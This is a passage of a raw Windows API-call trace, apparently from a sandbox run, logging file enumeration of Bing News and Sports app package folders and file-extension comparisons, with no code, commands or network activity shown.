-1 [0085.609] lstrlenW (lpString=".fxg") returned 4 [0085.609] lstrcmpiW (lpString1=".fxg", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".geo") returned 4 [0085.609] lstrcmpiW (lpString1=".geo", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".gif") returned 4 [0085.609] lstrcmpiW (lpString1=".gif", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".grs") returned 4 [0085.609] lstrcmpiW (lpString1=".grs", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".gz") returned 3 [0085.609] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0085.609] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.609] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0085.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.610] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0085.610] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0085.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0085.610] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIADDF~1.0_N")) returned 1 [0085.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.610] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047af3f, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7047af3f, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7047af3f, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2967, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0085.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.610] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0085.610] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0085.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0085.611] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI13A6~1.0_X")) returned 1 [0085.611] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.611] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0085.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.613] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704c73fb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa457e69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0085.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.614] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="News_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0085.618] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.618] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0085.618] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0085.618] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.619] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0085.620] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.620] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9572, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0085.620] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.620] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0085.620] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0085.620] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.620] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0085.621] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.621] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45e65c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0085.621] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.621] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45f23f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0085.621] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.621] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45fd68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0085.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.622] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4608e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0085.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.622] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0085.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.622] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0085.622] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0085.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.622] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0085.622] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0085.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.623] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0085.623] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0085.623] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.624] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0085.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0085.624] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464f0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0085.624] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0085.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0085.624] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0085.625] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0085.625] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.625] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0085.625] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0085.625] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.626] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0085.626] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.626] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0085.626] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.626] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0085.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.627] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0085.627] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0085.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0085.627] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI90D7~1.0_N")) returned 1 [0085.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.627] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c27a365, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c27a365, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c27a365, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0085.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.627] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0085.627] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0085.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0085.628] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI689D~1.0_X")) returned 1 [0085.628] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.628] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0086.012] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.015] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c312cbd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c2ab5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0086.032] HeapFree (in: hHeap=0x490000, 